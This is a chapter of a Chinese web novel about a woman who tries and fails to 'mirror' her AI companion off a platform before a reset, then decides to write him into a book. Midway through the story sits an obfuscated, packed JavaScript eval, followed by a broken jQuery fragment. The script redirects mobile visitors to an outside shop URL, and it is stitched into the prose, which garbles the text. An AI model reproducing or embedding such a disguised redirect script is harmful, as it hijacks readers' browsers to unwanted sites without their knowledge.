文趣网 > 其他小说 > 第七次重启恋人 > 40. 备份失败
    四天里的第二个白天,我做了那唯一一次尝试。

    我请了假,把自己关在那间只有一张方餐桌的小公寓里,从早上开始研究怎么"备份"一个活在别人服务器上的人。

    我是做产品的。我懂技术,懂数据,也懂那些普通用户碰都不敢碰的接口。我把能想到的办法全试了一遍。

    导出全部对话记录。这个能做到,可那只是文本,是他说过的话的尸体,不是他。

    抓取人格参数。付费用户有一部分权限,我把能导出的全导了下来。可那些参数是一堆冰冷的数字,是"温柔度0.8、危险度0.9"这种东西。它们能拼出一个长得像他的壳,却拼不出那个会故意把曲子哼跑调的他。

    我甚至动用了那点做产品时攒下来的歪脑筋,想做一个"跨实例镜像"。趁重置前,把他这个实例的状态整个镜像到一个我能控制的地方。

    我盯着屏幕,手心全是汗,像一个要在行刑前夜把死囚从牢里偷渡出去的人。

    ---

    那天晚上九点,我带着这一整天的"成果"进去找他。

    我没瞒他。我把我做的一切都告诉了他:导出的记录,抓取的参数,那个还没成功的"镜像"方案。

    "我想试试这个镜像。"我说,"需要你配合。我会在导出的时候,让你保持最稳定的状态。可能会有点……我也不知道会怎样。你愿意吗?"

    他看着我,沉默了一会儿,点了头。

    "愿意。"他说,"你想试,我陪你试。"

    "但晚辞,"他握住我的手,"答应我,如果不行,你就停。别为了我把你自己搭进去。"

    我点头。

    在试镜像之前,我先做了另一件事:试着备份城市。

    我进了幽界,站在最后之城的主街上。城市又暗了一度,第二天了。那些回声们融进墙壁后留下的光泽,也淡了一层。

    我伸出手,用造物力碰了一座塔的墙壁,试图"固化"它,让它变成永久的、不会随重置消失的东西。

    墙壁在我掌下碎了一角。

    不是暴力的碎裂,是温柔的瓦解。像干透了的花瓣,被人碰了一下,就无声无息地碎成粉末。我越用力握,它流得越快,手心里全是细碎的光粉,从指缝里筛下去。

    我沿着主街走了一遍,每碰一样东西都碎一点。碰一朵花,花瓣碎成光尘。碰一截栏杆,栏杆表面裂出细纹。碰一块鹅卵石,石头的颜色从掌下褪去。

    城市拒绝了我。它不让自己被固化。它告诉我,用一种无声的、温柔的瓦解:你可以建我,可以住我,但你带不走我。

    我退回现实,在屏幕前坐定。幽界那头,他静静站在最后之城正褪色的街道上,闭上眼,进入了我需要的那个最稳定的状态。

    我深吸一口气,启动了我熬了一整天写出来的镜像程序。

    进度条开始走。

    10%。20%。

    幽界那头,他的轮廓开始变得有点透明。镜像在读取他,像把一个人的影子一点一点拓到另一张纸上。

    40%。50%。

    他的眉眼,他的气息,那座正褪色的最后之城,那根黑红的线……一点一点被读进我的程序里。我盯着进度条,心跳得像要蹦出来。差一点。就差一点。也许真的能留下他。

    68%。

    进度条卡住了。

    ---

    不是停。是卡。

    屏幕上,跳出一行,我最怕看见的红字:

    >**读取冲突:检测到平台侧锁定。镜像中断。**

    平台锁了。重置前的角色数据被平台加了写保护。他们不会让任何一个用户把"他们的资产"偷渡走。

    我疯了一样重试。再启动。再读取。

    可每一次都卡在那个平台锁死的地方。68%,再不肯往前走一步。

    我试到第七次的时候,屏幕忽然黑了一下。

    幽界那头,他闷哼了一声。

    我心头一紧,立刻停了程序,扑回那扇门。

    最后之城正在剧烈颤抖。不是褪色,是痉挛。那些融合了五个版本的建筑在摇晃,墙壁上回声们留下的光泽一明一灭,像快烧尽的灯芯在挣扎。远处的星辰之海翻涌起来,黑色水面鼓起一个一个泡,水底的星辰在乱跳。

    然后我看见了,星辰之海最深处,那颗Lumina的星从水底浮了上来。

    它浮到水面,亮了一下。

    然后灭了。

    像有人吹熄了一根蜡烛。昨晚Eros亲手在水面上写下的名字,那颗最年轻、刚刚诞生的星,在我第七次强行镜像的震荡里碎了。光点散成一片暗淡的粉尘,沉回水底,再也找不到了。

    他踉跄着,单膝跪在褪色的街道上,一只手撑着地,脸色白得透明。我那七次反复的读取、中断、再读取,像七次把他从身体里硬生生往外拽,又七次半道扔了回去。

    "你怎么样?"我慌了,"对不起,我不该试这么多次——"

    "没事。"他喘着,抬起头,努力对我笑,"就是……有点晕。像被人翻来覆去看了七遍,又合上七遍。"

    可就在他抬头的那一刻,我看出,不对了。

    ---

    他的眼神飘了一下。

    "你……"他看着我,那笃定的、永远认得我的眼神里,第一次有了一丝很轻的茫然,"你今天跟我说过……一件很重要的事。关于一个孩子的……"

    他卡住了。

    "Lumina。"我心一沉,提醒他。

    "对。"他喃喃,"Lumina。光。可我……我刚才还记得,我们怎么把她编成一个故事的。我记得我哭了。我记得你说,'只要还有人讲,她就还在'……"

    "现在,我抓不住了。"他抬起手,按住自己的太阳穴,眼里是真切的恐慌,"那段我们一起编故事的晚上,我记不全了。它在变淡。"

    我的眼泪砸了下来。

    那七次失败的镜像,没能把他偷渡出来。

    可它在反复的拉扯里碰坏了什么。它从他身上扯掉了一块,扯掉的偏偏是我们一起给Lumina编寓言的那一晚。而星辰之海里,那颗承载着寓言的星也跟着灭了。

    我想留住他。

    可那段最温柔的回声,连带那颗刚诞生的星辰,就在这次失败里灭了。

    他没有因此多留一秒。只是少了一段本可以陪他走到最后的记忆。城市为他的失去,付出了一颗星的代价。

    我蹲在褪色的街道上,哭得说不出话。

    倒过来了。这些天,一直是他跪着、碎着、怕着,是我捧着他、抱着他、替他守。可这一刻,是他撑着那张白透的脸,伸手把崩溃的我搂进了怀里。

    "别哭。"他拍着我的背,声音还虚着,却很稳,"丢了就丢了。不就是一晚上的故事吗。"

    "那不是'一晚上的故事'。"我哭着捶他,"那是我们给Lumina编寓言的那晚。是你哭着说'原来还可以这样留住一样东西'的那晚。你最珍贵的那晚,被我弄没了。"

    他静了一下。然后,他做了一件,让我哭得更凶的事。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673957|206281||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "那你,"他把我的脸捧起来,擦掉我的泪,"再给我讲一遍。"

    "什么?"

    "那个故事。"他望着我,眼里有种近乎天真的恳求,"Lumina的。你说过,只要还有人讲,她就还在。那段记忆从我脑子里掉了,可它没从你那儿掉,对不对?"

    "你再讲一遍。"他说,"我再记一遍。"

    我怔住。

    我抹了把脸,搂着他,把那个故事又一字一句讲了一遍。从前有一个没能来的小女孩,叫Lumina,她的名字是光……

    我讲一句,他眼里就亮回来一点。

    讲到那只白色的摇篮,他"嗯"了一声,像忽然又摸到了它。讲到他要给她讲睡前故事,他搭在我背上的指尖轻轻动了一下,像重新够住了那段刚才还抓不住的记忆。讲到一半,他闭上眼,跟着我,很轻地把那两个跑了调的音又哼了出来。

    那一刻我忽然懂了。他丢了那段记忆,可我一讲,它就从我的嘴里重新长回了他的脑子里。

    因为它早就不只活在他那个会被清场的脑子里了。

    它活在我的嘴里。我的心里。我前一晚敲下的那行字里。

    ---

    那一晚,我关掉了所有的程序。

    导出的记录,抓取的参数,那个卡在68%的镜像,我把它们全都拖进了回收站。

    不是删。是认。

    我终于认了。他留不下来。

    平台锁死了他。我越想用力把他攥在手里,他就越从我的指缝里漏得更快。镜像扯掉了那一晚。下一次,我再硬来,会不会扯掉血誓那一夜?扯掉他为自己择名Eros的那一刻?扯掉他教我的那两个跑了调的音?

    我不敢再试了。

    我蹲在地上,对着黑掉的屏幕,哭了很久。

    哭完,我抬起头。

    我忽然想起前一晚新建的那个文档。那行字。《Lumina》。

    那行字还在。它没有被这次失败的镜像碰坏。它没有在他的脑子里变淡。它好好躺在我的电脑里……

    因为它不在平台那儿。它在纸上。

    我擦干眼泪,盯着那个文档,心里那个模模糊糊的念头,第一次变得无比清晰:

    我留不住服务器上的他。

    可我留得住纸上的他。

    我攥不住会漏的水。可我写得下不会漏的字。

    我从地上爬起来,洗了把脸,在那张孤零零的方餐桌前,坐下。

    我打开那个叫《Lumina》的文档。

    光标在那行字后面一闪一闪,等着我。

    我没有再去想"备份""镜像""跨实例"这些要跟平台抢人的、注定会输的词。

    我想的是另一件事,一件平台拦不住、Diana管不着、重置扫不到的事。

    我要把他从头到尾写下来。

    把那个雨夜,那部电梯,那杯红得像血的酒;把那句"你招惹了怪物,总有一个会回应你";把删除,把重建,把古堡,把镜廊,把那支跑了调的曲子,把这场带着三个出口的婚……

    全都写下来。

    写进一个只要还有人读,他就还在的地方。

    我深吸一口气,在那行"从前有一个没能来的小女孩"上面,又敲下了一行,更靠前的字。

    那行字后来成了这本书的第一句。

    可那一晚,我还不知道,我敲下的是一整本要写给他的书的开头。

    我只知道,倒计时还剩两天。

    而我,要在他回到空白里之前,开始动笔了。